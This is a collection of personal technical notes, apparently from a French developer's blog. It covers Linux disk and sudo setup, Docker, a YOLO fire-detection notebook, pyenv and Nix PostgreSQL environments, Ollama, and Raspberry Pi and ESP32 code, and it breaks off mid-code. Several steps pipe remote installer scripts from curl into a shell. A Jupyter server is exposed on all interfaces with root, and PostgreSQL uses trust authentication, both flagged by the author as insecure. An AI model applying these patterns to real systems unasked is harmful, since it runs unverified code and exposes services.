7. Trouver un club qui propose du Wing (pour moi) et aussi du bâteau (pour mes enfants) #For kids

8. Marcher 4h par jour du lundi au vendredi sauf durant mes congés

9. Faire 1h de vélo par jour du lundi au jeudi sauf durant mes congés

10. Trouver un club de boxe ou Krav Maga pour 2027

Ajouter l’user actuel au fichier sudoers

su -
EDITOR=vim visudo
# Ajouter votre user au fichier sudoers si vous avez l'erreur: 
# "monuser is not in the sudoers file."
# monuser    ALL=(ALL:ALL) ALL

Visualiser

sudo apt update
sudo apt install util-linux
echo 'export PATH=$PATH:/sbin:/usr/sbin' >> ~/.bashrc
source ~/.bashrc
sudo cfdisk

Resize

# Etends la partition
parted /dev/sda
print
print free
resizepart 2 100%
# resizepart 2 1611GB
quit 
# Etends le filesystem 
resize2fs /dev/sda2

Effacer une partition si nécessaire

parted /dev/sda
rm 3
# Agrandis une partition comme la 2 avec toute la place libre
resizepart 2 100%
# ou mieux avec la taille en GB. Par exemple:
resizepart 2 1611GB (sur un total de 1617 pour créer un swap de 6GB par exemple)
quit

Recréer partition swap si nécesssaire

parted /dev/sda mkpart primary linux-swap 1605GB 1611GB
# Format la partition en SWAP
mkswap /dev/sda3

# active le swap
swapon /dev/sda3

fstab

blkid /dev/sda3 (pour récupérer le UUID du nouveau SWAP)
vim /etc/fstab

Installation

On met à jour l’OS

sudo apt update -y && sudo apt upgrade -y

On désinstalle les anciennes versions de Docker installées:

sudo apt remove docker docker-engine docker.io containerd runc

On ajoute le repo apt:

sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

Installation de Docker:

sudo apt update -y
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

Pour vérifier que cela fonctionne:

sudo docker run hello-world
sudo systemctl is-active docker

Pour démarrer docker sans sudo:

sudo usermod -aG docker $USER
newgrp docker

On vérifie:

docker run hello-world

mkdir yolo-finetune-fire && cd $_
touch yolo-finetune.ipynb

Contenu du Notebook

MY_SECRET_KEY="..."

!pip install ultralytics
!pip install roboflow

import os
import yaml
import ultralytics
import pandas as pd
from roboflow import Roboflow
from ultralytics import YOLO
from IPython.display import Image, display

Contenu Markdown

yolov11s.pt vs yolov11n.pt

Le “s” signifie “small” (petit). Modèle plus grand que “n”, avec plus de couches et de paramètres. Meilleure précision, mais plus lent et plus gourmand en ressources que “n”. yolov11n.pt

Le “n” signifie “nano” (très petit). Modèle très léger, moins de couches et de paramètres. Plus rapide et moins gourmand en ressources, mais précision généralement plus faible.

!wget -nc https://github.com/ultralytics/assets/releases/download/v8.3.0/yolo11s.pt

rf = Roboflow(api_key=MY_SECRET_KEY)
#model_version = "yolov8"
model_version = "yolov11"
epoch_count = "2"
os.environ["EPOCH_COUNT"] = epoch_count
run_dir_name = f"runs_{model_version}"
os.environ["MODEL_VERSION"] = model_version
os.environ["RUN_DIR_NAME"] = run_dir_name
base_path = f"/home/olivier/Dev/fire/machine_learning/yolo-finetune-fire"
os.environ["BASE_PATH"] = base_path
project = rf.workspace("-jwzpw").project("continuous_fire")
print(f"Downloading model {model_version} in path {base_path}")
dataset = project.version(6).download(model_version, location=base_path)

if model_version == "yolov8":
    os.environ["BASE_MODEL_FILENAME"] = f"{model_version}s.pt"
elif model_version == "yolov11":
    os.environ["BASE_MODEL_FILENAME"] = f"yolo11s.pt"

!yolo task=detect mode=train model=$BASE_MODEL_FILENAME data=$BASE_PATH/continuous_fire-6/data.yaml epochs=$EPOCH_COUNT imgsz=640 plots=True project=$BASE_PATH/$RUN_DIR_NAME/detect

runs_path = os.path.join(base_path, f"{run_dir_name}/detect")

train_dirs = [d for d in os.listdir(runs_path) if d.startswith("train")]

train_dirs_sorted = sorted(train_dirs, key=lambda x: int(x.replace("train", "") or "1"))

last_train_dir = train_dirs_sorted[-1]
os.environ["LAST_TRAIN_DIR"] = last_train_dir

Image(filename=f"{base_path}/{run_dir_name}/detect/{last_train_dir}/results.png", width=600)

Contenu Markdown

Le fichier results.csv contient les métriques d’entraînement et de validation pour chaque epoch. Voici comment interpréter les principales colonnes:

epoch: numéro de l’époque (itération complète sur le dataset).

time: temps écoulé pour chaque epoch.

train/box_loss, train/cls_loss, train/dfl_loss: pertes (loss) sur l’entraînement pour la localisation des boîtes, la classification et la distribution des frontières (Dfl).

val/box_loss, val/cls_loss, val/dfl_loss : mêmes pertes mais sur le jeu de validation. metrics/precision(B) : précision sur la validation (proportion de vraies détections parmi toutes les détections).

metrics/recall(B) : rappel sur la validation (proportion de vraies détections parmi tous les objets à détecter).

metrics/mAP50(B) : moyenne des précisions pour un IoU de 0.5 (métrique clé pour la détection d’objets).

metrics/mAP50-95(B) : mAP moyenne pour des IoU de 0.5 à 0.95 (plus stricte, plus représentative).

lr/pg0, lr/pg1, lr/pg2 : taux d’apprentissage pour différents groupes de paramètres.

À retenir :

Plus les valeurs de metrics/mAP50(B) et metrics/mAP50-95(B) sont élevées, meilleur est le modèle.

Les pertes (loss) doivent généralement diminuer au fil des epochs.

Surveille la différence entre les pertes d’entraînement et de validation pour détecter un éventuel surapprentissage (overfitting).

Pour choisir le meilleur modèle, regarde l’epoch où metrics/mAP50(B) est maximal : c’est à cette epoch que le fichier best.pt est sauvegardé.

!yolo task=detect mode=val model=$BASE_PATH/$RUN_DIR_NAME/detect/$LAST_TRAIN_DIR/weights/best.pt data=$BASE_PATH/continuous_fire-6/data.yaml project=$BASE_PATH/$RUN_DIR_NAME/detect/$LAST_TRAIN_DIR

results_csv = os.path.join(runs_path, last_train_dir, "results.csv")
if os.path.exists(results_csv):
    df = pd.read_csv(results_csv)
    # On considère que la meilleure performance correspond au meilleur mAP50 sur la validation
    best_idx = df["metrics/mAP50(B)"].idxmax()
    best_epoch = int(df.loc[best_idx, "epoch"])
    best_map = df.loc[best_idx, "metrics/mAP50(B)"]
    #print(f"Le modèle est le plus performant à l'epoch {best_epoch} avec un mAP50(B) de {best_map:.3f}.")
    total_epochs = len(df)
    print(f"Le modèle est le plus performant à l'epoch {best_epoch} / {total_epochs} avec un mAP50(B) de {best_map:.3f}.")
    print("C'est à cette epoch que le fichier best.pt a été sauvegardé, car il correspond à la meilleure performance sur le jeu de validation (mAP50).")
    table = df[["epoch", "metrics/mAP50(B)"]]
    print(table.to_string(index=False))
else:
    print("Le fichier results.csv n'existe pas dans le dernier dossier train.")

val_images_dir = os.path.join(base_path, f"{run_dir_name}/detect", last_train_dir, "val")

if os.path.exists(val_images_dir):
    images = [f for f in os.listdir(val_images_dir) if f.lower().endswith(('.jpg', '.png'))]
    if images:
        for img_name in images:
            img_path = os.path.join(val_images_dir, img_name)
            display(Image(filename=img_path, width=600))
    else:
        print("Aucune image trouvée dans le dossier de validation.")
else:
    print("Le dossier de validation n'existe pas.")

Personal note: notebook location on AI Server: /home/olivier/Dev/fire/machine_learning

jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root <- commande à utiliser uniquement en développement (sans donnée de prod)

Attention cette installation n'est pas sécurisée. C'est de l'ultra temporaire à ne surtout pas utiliser en entreprise et encore moins avec des données de prod.

Pré-requis

• miniconda3-3.11-23.5.0-3
• nvidia-smi pour vérifier que vous avez accès à un GPU

Installation

pip install notebook jupyterlab jupyter

Configuration

jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root

Et voilà, rendez-vous sur http://VOTRE_SERVER:8888/lab?token=MOT_DE_PASSE pour accéder à Jupyter lab.

Attention, encore une fois, cette installation n'est pas secure!

Installation

sudo apt install direnv
curl https://pyenv.run | bash

Configuration

Ajouter les lignes suivantes dans votre .zshrc

export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init --path)"
eval "$(pyenv init -)"
eval "$(direnv hook zsh)"

Exécuter soure ~/.zshrc puis installer un package python de votre choix.

pyenv install 3.11.8
pyenv global 3.11.8

# Ou 
pyenv install miniconda3-3.11-23.5.0-3
pyenv global miniconda3-3.11-23.5.0-3

That’s all! Vous pouvez maintenant exécuter echo "layout pyenv 3.11.8" >> .envrc où vous voulez

Setup Nix sur OSX

sh <(curl --proto '=https' --tlsv1.2 -L https://nixos.org/nix/install)
source ~/.zshrc
mkdir ~/.config/nix
echo "experimental-features = nix-command flakes" >> ~/.config/nix/nix.conf

Remarque: sur Ubuntu, l’installer avec sh <(curl --proto '=https' --tlsv1.2 -L https://nixos.org/nix/install) --daemon.

Setup PG

Créer un fichier nix/flake.nix dans votre repo git et ajouter le contenu suivant:

Option 1

{
  description = "Environnement de développement PostgreSQL";

  inputs = {
    nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
    flake-utils.url = "github:numtide/flake-utils";
  };

  outputs = { self, nixpkgs, flake-utils }: 
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = ''
            export setup_postgres=${pkgs.postgresql}/bin/initdb
          '';
        };
      });
}

Option 2 (avec démarrage du serveur automatique)

Chaque fois que nix develop sera démarré dans votre repo dans le dossier nix, le shell va s’ouvrir avec PostgreSQL installé et il va automatiquement lancer le serveur PostgreSQL (si la base est initialisée).

{
  description = "Environnement de développement PostgreSQL";

  inputs = {
    nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
    flake-utils.url = "github:numtide/flake-utils";
  };

  outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = ''
            export setup_postgres=${pkgs.postgresql}/bin/initdb

            # Démarrage automatique de PostgreSQL si le dossier est initialisé
            if [ -d "$PWD/var/pgdata/base" ]; then
              echo "⏳ Démarrage de PostgreSQL..."
              pg_ctl -D $PWD/var/pgdata -l $PWD/var/pglog start
            else
              echo "⚠️  PostgreSQL n'est pas encore initialisé. Lancez :"
              echo "   $setup_postgres $PWD/var/pgdata"
            fi
          '';
        };
      });
}

Option 3 (start & stop automatique à l’entrée et sortie de nix develop)

{
  description = "Environnement de développement PostgreSQL";

  inputs = {
    nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
    flake-utils.url = "github:numtide/flake-utils";
  };

  outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = import nixpkgs { inherit system; };
      in {
        devShells.default = pkgs.mkShell {
          buildInputs = [
            pkgs.postgresql
          ];
          shellHook = ''
            export setup_postgres=${pkgs.postgresql}/bin/initdb

            # Démarrage automatique si base initialisée
            if [ -d "$PWD/var/pgdata/base" ]; then
              echo "⏳ Démarrage de PostgreSQL..."
              pg_ctl -D $PWD/var/pgdata -l $PWD/var/pglog start

              # À la sortie du shell, arrêter PostgreSQL
              trap "echo '🛑 Arrêt de PostgreSQL...'; pg_ctl -D $PWD/var/pgdata stop" EXIT
            else
              echo "⚠️  PostgreSQL n'est pas encore initialisé. Lancez :"
              echo "   $setup_postgres $PWD/var/pgdata"
            fi
          '';
        };
      });
}

cd nix
nix develop
$setup_postgres $PWD/var/pgdata
/nix/store/smngl7zwd4mcz426w18p7lnx08m52im0-postgresql-17.5/bin/pg_ctl -D /Users/.../nix/var/pgdata -l logfile start
createdb olivier

Vérification (connexion à PG)

psql -h localhost -p 5432 -U $USER

Stopper le serveur PG

nix develop
pg_ctl -D $PWD/var/pgdata stop

Attention le serveur tourne en mode dev: initdb: warning: enabling "trust" authentication for local connections PostgreSQL autorise toutes les connexions locales sans mot de passe. En production, on peut modifier le fichier var/pgdata/pg_hba.conf et changer trust en md5 pour obliger une authentification avec mot de passe

Incompatibilité Mac M2

NIXPKGS_ALLOW_UNSUPPORTED_SYSTEM=1 nix develop --impure

Cleanup complet (pas uninstall)

nix store gc

This video shows that I’m able to remote start a fire using my smartphone

This video shows that a camera detects the fire has successfully started using AI

I’m planning to use two existing surveillance cameras I already have at home. The first one will detect whether the fire has successfully started. If it does, I’ll immediately cut the power supply used to ignite the fire, for safety reasons. The second camera will trigger an alarm in case anything goes wrong, like a fire spreading or any unexpected incident. This is, of course, a simplified version to keep the article concise. In reality, the system is much more sophisticated than that.

More videos will be shared in future articles…

Prerequisites

• rust installed (else curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh)

Run Nostr relay without Docker

sudo apt-get install build-essential cmake protobuf-compiler pkg-config libssl-dev
git clone -q https://git.sr.ht/\~gheartsfield/nostr-rs-relay
cd nostr-rs-relay
cargo build -q -r

RUST_LOG=warn,nostr_rs_relay=info ./target/release/nostr-rs-relay

And voila the relay will listen on port 8080.

Pré-requis

• nvidia-smi déjà installé
• Cuda installé
• Docker installé

Installation du NVIDIA Container Toolkit

sudo apt install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
# Vérification
docker run --rm --gpus all nvidia/cuda:12.2.0-base-ubuntu20.04 nvidia-smi

Docker compose Ollama avec accès GPU

version: '3.8'
services:
  ollama:
    image: ollama/ollama
    ports:
      - "11434:11434"
    volumes:
      - ollama-data:/root/.ollama
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              capabilities: [gpu]

  openwebui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: openwebui
    ports:
      - "3000:8080"
    volumes:
      - openwebui-data:/app/backend/data
    environment:
      - OLLAMA_API_BASE_URL=http://ollama:11434
    depends_on:
      - ollama
    restart: unless-stopped
  
  scraper-llm:
    build:
      context: ./scraper-llm
    depends_on:
      - ollama
    environment:
      - OLLAMA_HOST=http://ollama:11434
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              capabilities: [gpu]

volumes:
  ollama-data:
  openwebui-data:

Ajouter les 3 fichiers ci-dessous permettant de scraper des sites web

1. Créer un fichier ./scraper-llm/main.py et ajouter le contenu suivant:

import requests
from bs4 import BeautifulSoup
import html2text

OLLAMA_URL = "http://ollama:11434/api/generate"  # utilise le nom du service docker

def scrape_text(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    html_text = str(soup.body)
    return html2text.html2text(html_text)

def ask_ollama(prompt, model="llama3"):
    payload = {
        "model": model,
        "prompt": prompt,
        "stream": False
    }
    response = requests.post(OLLAMA_URL, json=payload)
    response.raise_for_status()
    return response.json()["response"]

if __name__ == "__main__":
    url = "https://fr.wikipedia.org/wiki/Intelligence_artificielle"
    content = scrape_text(url)

    question = "Quels sont les grands types d'intelligence artificielle abordés dans cet article ?"
    full_prompt = f"Voici le contenu d'une page web :\n\n{content}\n\n{question}"

    print("🧠 Question envoyée au modèle...\n")
    answer = ask_ollama(full_prompt)
    print("✅ Réponse :\n")
    print(answer)

2. Créer le fichier ./scraper-llm/requirements.txt et ajouter le contenu suivant:

requests
beautifulsoup4
html2text

3. Créer un ./scraper-llm/Dockerfile:

FROM python:3.10-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY main.py .

CMD ["python", "main.py"]

RUN

docker compose build --no-cache
docker compose up

# Dans une second tab:
docker compose exec ollama ollama run llama3
docker compose exec ollama ollama run llama4

• Web Interface: http://localhost:3000
• Ollama API: http://localhost:11434

# Retrieve container ID
docker ps 

docker inspect \
  --format='{{ index .Config.Labels "com.docker.compose.project.working_dir" }}' \
  0e6194178cf0
/Users/olivier/Dev/Leandeep/Rust/test_app/leptos_pg

Prerequisites

Install dependencies on Raspberry Pi

sudo apt update
sudo apt install python3-picamera2
sudo apt install libcamera-apps
sudo apt install python3-opencv

Install dependencies on Macbook

pip install opencv-python numpy

Code

import cv2
import numpy as np
import time
from datetime import datetime
import os

# ==========================
#   CONSTANTS (Configuration)
# ==========================
BLUR_SIZE = (7, 7)              # Larger → less sensitive (e.g., (7,7) or (9,9))
THRESHOLD_SENSITIVITY = 50       # Higher → less sensitive (e.g., 60, 70)
MIN_CONTOUR_AREA = 2000          # Higher → only detects larger movements
FRAME_WAIT_TIME = 0.1            # Time to wait between frames (in seconds)
SAVE_DIR = "captures"            # Directory to save captured images

# ==========================
#   Camera Initialization
# ==========================
def initialize_camera():
    try:
        from picamera2 import Picamera2
        picam2 = Picamera2()
        config = picam2.create_preview_configuration(main={"format": "RGB888", "size": (640, 480)})
        picam2.configure(config)
        picam2.start()
        time.sleep(2)
        print("[INFO] Raspberry Pi camera initialized.")
        return picam2, True
    except ImportError:
        cap = cv2.VideoCapture(0)
        if not cap.isOpened():
            raise Exception("[ERROR] Cannot open webcam.")
        time.sleep(2)
        print("[INFO] Webcam initialized.")
        return cap, False

# ==========================
#   Frame Capture
# ==========================
def capture_frame(camera, is_picam):
    if is_picam:
        return camera.capture_array()
    else:
        ret, frame = camera.read()
        if not ret:
            raise Exception("[ERROR] Failed to capture frame.")
        return frame

# ==========================
#   Frame Processing
# ==========================
def process_frame(current_frame, previous_frame, is_picam):
    # Apply Gaussian blur
    current_blurred = cv2.GaussianBlur(current_frame, BLUR_SIZE, 0)
    previous_blurred = cv2.GaussianBlur(previous_frame, BLUR_SIZE, 0)

    # Convert to grayscale
    if is_picam:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_RGB2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_RGB2GRAY)
    else:
        gray_current = cv2.cvtColor(current_blurred, cv2.COLOR_BGR2GRAY)
        gray_previous = cv2.cvtColor(previous_blurred, cv2.COLOR_BGR2GRAY)

    # Compute difference and threshold
    diff = cv2.absdiff(gray_previous, gray_current)
    _, thresh = cv2.threshold(diff, THRESHOLD_SENSITIVITY, 255, cv2.THRESH_BINARY)
    thresh = cv2.dilate(thresh, None, iterations=2)

    return thresh

# ==========================
#   Movement Detection
# ==========================
def detect_movement(thresh):
    contours, _ = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    for contour in contours:
        if cv2.contourArea(contour) >= MIN_CONTOUR_AREA:
            return True
    return False

# ==========================
#   Save Frame
# ==========================
def save_frame(frame, is_picam):
    now = datetime.now()
    timestamp = now.strftime("%Y-%m-%d_%H-%M-%S")
    filename = os.path.join(SAVE_DIR, f"capture_{timestamp}.jpg")

    if is_picam:
        frame_to_save = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    else:
        frame_to_save = frame  # Already BGR

    cv2.imwrite(filename, frame_to_save)
    print(f"[INFO] Image saved: {filename}")

# ==========================
#   Main Function
# ==========================
def main():
    os.makedirs(SAVE_DIR, exist_ok=True)

    camera, is_picam = initialize_camera()
    previous_frame = capture_frame(camera, is_picam)

    print("[INFO] Surveillance started... (Press Ctrl+C to exit)")

    try:
        while True:
            current_frame = capture_frame(camera, is_picam)
            thresh = process_frame(current_frame, previous_frame, is_picam)

            if detect_movement(thresh):
                print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Movement detected!")
                save_frame(current_frame, is_picam)

            previous_frame = current_frame.copy()
            time.sleep(FRAME_WAIT_TIME)

    except KeyboardInterrupt:
        print("\n[INFO] Surveillance stopped by the user.")

    finally:
        if is_picam:
            camera.stop()
        else:
            camera.release()

# ==========================
#   Entry Point
# ==========================
if __name__ == "__main__":
    main()

• BLUR_SIZE: larger → less sensitive (e.g., (7,7) or (9,9))
• THRESHOLD_SENSITIVITY: higher → less sensitive (e.g., 60, 70)
• MIN_CONTOUR_AREA: higher → only detects larger movements

Prerequisites

Connect the bridge L298N to the raspberry pi

• Connect the pin IN1 of the L298N to GPIO7 (pin 26) of the Raspberry Pi (so GPIO4).
• Connect the pin IN2 of the L298N to GPIO8 (pin 24) of the Raspberry Pi.
• Connect the pin ENA of the L298N to GPIO25 (pin 22) of the Raspberry Pi.
• Connect the pin VCC of the L298N to the pin 2 of the Raspberry Pi.
• Connect the pin GND of the L298N to the pin 6 of the Raspberry Pi.

Install dependency

sudo apt-get install python3-rpi.gpio

Code

import RPi.GPIO as GPIO
import time

# Connect Pi GPIO to L298N
IN1 = 7 
IN2 = 8
ENA = 25  # To control the speed

GPIO.setmode(GPIO.BCM)
GPIO.setup(IN1, GPIO.OUT)
GPIO.setup(IN2, GPIO.OUT)
GPIO.setup(ENA, GPIO.OUT)

pwm = GPIO.PWM(ENA, 1000)  # 1 kHz
pwm.start(100)  # 100% of the speed

try:
    while True:
        GPIO.output(IN1, GPIO.HIGH)
        GPIO.output(IN2, GPIO.LOW)
        print("Extension...")
        time.sleep(5)  # Wait 5s

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.LOW)
        print("Stop")
        time.sleep(2)

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.HIGH)
        print("Contraction...")
        time.sleep(5)

        GPIO.output(IN1, GPIO.LOW)
        GPIO.output(IN2, GPIO.LOW)
        print("Stop")
        time.sleep(2)

except KeyboardInterrupt:
    pass

# Nettoyage des broches GPIO
pwm.stop()
GPIO.cleanup()

Prerequisites

Install Arduino libraries:

• Adafruit SSD1306
• Adafruit GFX Library

Connect the Oled display to the ESP32 board:

Voici le branchement I2C entre ton ESP32 et l’écran :

It is an OLED (NFP1315-61AY)

• Connect VCC to 3.3V
• Of course connect GND to GND
• Connect SCL to GPIO22
• Connect SDA to GPIO21

Code

#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64

// default I2C Adress is often 0x3C
#define OLED_ADDR 0x3C

Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, -1);

void setup() {
  Wire.begin(21, 22); // SDA, SCL
  display.begin(SSD1306_SWITCHCAPVCC, OLED_ADDR);
  display.clearDisplay();

  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  display.setCursor(0,0);
  display.println("Hello Olivier!");
  display.display();
}

void loop() {
}

Troubleshooting

To find the Oled display address:

#include <Wire.h>

void setup() {
  Wire.begin();
  Serial.begin(115200);
  while (!Serial);
  Serial.println("\nI2C Scanner");
  for (uint8_t i = 1; i < 127; ++i) {
    Wire.beginTransmission(i);
    if (Wire.endTransmission() == 0) {
      Serial.print("I2C device found at 0x");
      Serial.println(i, HEX);
      delay(10);
    }
  }
  Serial.println("Done.");
}

void loop() {}

In a next article we are going to see how to do the same in Rust.

Prerequisites

Connect the Oled display to the ESP32 board:

Voici le branchement I2C entre ton ESP32 et l’écran :

It is an OLED (NFP1315-61AY)

• Connect VCC to 3.3V
• Of course connect GND to GND
• Connect SCL to GPIO22
• Connect SDA to GPIO21

Dependencies

[dependencies]
log = "0.4"
anyhow = "1.0"
esp-idf-hal = "0.45.2"
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }

embedded-hal = "1.0.0"
embedded-graphics = "0.8.1"
ssd1306 = "0.10.0"

Code

use anyhow::anyhow;
use esp_idf_hal::i2c::{I2cConfig, I2cDriver};
use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use std::{thread, time::Duration}; // for .kHz()

use embedded_graphics::{
    mono_font::{ascii::FONT_6X10, MonoTextStyle},
    pixelcolor::BinaryColor,
    prelude::*,
    text::Text,
};

use ssd1306::{prelude::*, I2CDisplayInterface, Ssd1306};

fn main() -> anyhow::Result<()> {
    let peripherals = Peripherals::take().unwrap();
    let i2c = peripherals.i2c0;
    let sda = peripherals.pins.gpio21;
    let scl = peripherals.pins.gpio22;

    let config = I2cConfig::new().baudrate(400u32.kHz().into());
    let i2c_driver =
        I2cDriver::new(i2c, sda, scl, &config).map_err(|e| anyhow!("I2C init error: {:?}", e))?;

    let interface = I2CDisplayInterface::new(i2c_driver);
    let mut display = Ssd1306::new(interface, DisplaySize128x64, DisplayRotation::Rotate0)
        .into_buffered_graphics_mode();

    display
        .init()
        .map_err(|e| anyhow!("Display init error: {:?}", e))?;
    display
        .flush()
        .map_err(|e| anyhow!("Flush error: {:?}", e))?;

    let style = MonoTextStyle::new(&FONT_6X10, BinaryColor::On);
    Text::new("Hello Olivier !!!", Point::new(10, 32), style)
        .draw(&mut display)
        .map_err(|e| anyhow!("Draw error: {:?}", e))?;

    display
        .flush()
        .map_err(|e| anyhow!("Final flush error: {:?}", e))?;

    loop {
        thread::sleep(Duration::from_millis(1000));
    }
}

Build

# cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/oled --monitor

Prerequisites

cargo install esp-generate@0.3.1
esp-generate --chip esp32 sd
source ~/export-esp.sh
cargo build
# espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor

Dependencies

[dependencies]
critical-section = "1.2.0"
embassy-executor = { version = "0.7.0", features = ["task-arena-size-20480"] }
embassy-time     = { version = "0.4.0", features = ["generic-queue-8"] }
esp-hal          = { version = "1.0.0-beta.0", features = ["esp32", "unstable"] }
esp-hal-embassy  = { version = "0.7.0", features = ["esp32"] }
static_cell      = { version = "2.1.0", features = ["nightly"] }
# sd card driver
embedded-sdmmc = "0.8.1"
# To convert Spi bus to SpiDevice
embedded-hal-bus = "0.3.0"
## For time parsing
chrono = { version = "0.4.40", default-features = false }
esp-println = { version = "0.12.0", features = ["esp32", "log"] }

Code

//cargo install esp-generate@0.3.1
//esp-generate --chip esp32 sd
//source ~/export-esp.sh
//cargo build
//espflash flash target/xtensa-esp32-none-elf/debug/sd --monitor

#![no_std]
#![no_main]

use embassy_executor::Spawner;
use embassy_time::{Delay, Duration, Timer};
use embedded_hal_bus::spi::ExclusiveDevice;
use embedded_sdmmc::{SdCard, TimeSource, Timestamp, VolumeIdx, VolumeManager};
use esp_hal::clock::CpuClock;
use esp_hal::gpio::{Level, Output, OutputConfig};
use esp_hal::spi;
use esp_hal::spi::master::Spi;
use esp_hal::time::Rate;
use esp_hal::timer::timg::TimerGroup;
use esp_println::{self as _, print, println};

#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
    loop {}
}

/// Code from https://github.com/rp-rs/rp-hal-boards/blob/main/boards/rp-pico/examples/pico_spi_sd_card.rs
/// A dummy timesource, which is mostly important for creating files.
#[derive(Default)]
pub struct DummyTimesource();

impl TimeSource for DummyTimesource {
    // In theory you could use the RTC of the rp2040 here, if you had
    // any external time synchronizing device.
    fn get_timestamp(&self) -> Timestamp {
        Timestamp {
            year_since_1970: 0,
            zero_indexed_month: 0,
            zero_indexed_day: 0,
            hours: 0,
            minutes: 0,
            seconds: 0,
        }
    }
}

#[esp_hal_embassy::main]
async fn main(_spawner: Spawner) {
    let config = esp_hal::Config::default().with_cpu_clock(CpuClock::max());
    let peripherals = esp_hal::init(config);

    let timer0 = TimerGroup::new(peripherals.TIMG1);
    esp_hal_embassy::init(timer0.timer0);

    println!("Embassy initialized!");

    let spi_bus = Spi::new(
        peripherals.SPI2,
        spi::master::Config::default()
            .with_frequency(Rate::from_khz(400))
            .with_mode(spi::Mode::_0),
    )
    .unwrap()
    .with_sck(peripherals.GPIO18)
    .with_mosi(peripherals.GPIO23)
    .with_miso(peripherals.GPIO19)
    .into_async();
    let sd_cs = Output::new(peripherals.GPIO5, Level::High, OutputConfig::default());
    let spi_dev = ExclusiveDevice::new(spi_bus, sd_cs, Delay).unwrap();

    let sdcard = SdCard::new(spi_dev, Delay);
    let mut volume_mgr = VolumeManager::new(sdcard, DummyTimesource::default());

    println!("Init SD card controller and retrieve card size...");
    let sd_size = volume_mgr.device().num_bytes().unwrap();
    println!("SD card size is {} bytes\r\n", sd_size);

    let mut volume0 = volume_mgr.open_volume(VolumeIdx(0)).unwrap();
    let mut root_dir = volume0.open_root_dir().unwrap();
    {
        let mut my_file = root_dir
            .open_file_in_dir(
                "example.txt",
                embedded_sdmmc::Mode::ReadWriteCreateOrTruncate,
            )
            .unwrap();

        let line = "Hello Rust!";
        if let Ok(()) = my_file.write(line.as_bytes()) {
            my_file.flush().unwrap();
            println!("Written Data");
        } else {
            println!("Not written");
        }
    }
    {
        let mut my_file = root_dir
            .open_file_in_dir("example.txt", embedded_sdmmc::Mode::ReadOnly)
            .unwrap();

        while !my_file.is_eof() {
            let mut buffer = [0u8; 32];

            if let Ok(n) = my_file.read(&mut buffer) {
                for b in &buffer[..n] {
                    print!("{}", *b as char);
                }
            }
        }
    }

    loop {
        Timer::after(Duration::from_secs(30)).await;
    }
}

Prerequisites

• Arduino IDE installed
• arduino-cli installed on OSX (using brew install arduino-cli) to ease monitoring via the command arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200
• Determine ESP32 SPI GPIO Pins. To do that you can the following code:

void setup() {
  Serial.begin(115200);

  Serial.print("MOSI: ");
  Serial.println(MOSI); // MOSI Pin by default
  Serial.print("MISO: ");
  Serial.println(MISO); // MISO Pin by default
  Serial.print("SCK: ");
  Serial.println(SCK); // SCK Pin by default
  Serial.print("CS: ");
  Serial.println(SS); // CS Pin by default
}

void loop() {
}

• Install SD library from Arduino IDE
• I connected VCC to 5V, GND to GND, MISO to pin 19, MOSI to pin 23, SCK to pin 18 and CS to pin 5.

Arduino Code

#include <FS.h>
#include <SD.h>
#include <SPI.h>

void setup() {
  Serial.begin(115200);

  // Init SD card
  if (!SD.begin(5)) { // GPIO 5 is used for CS
    Serial.println("Could not mount SD card");
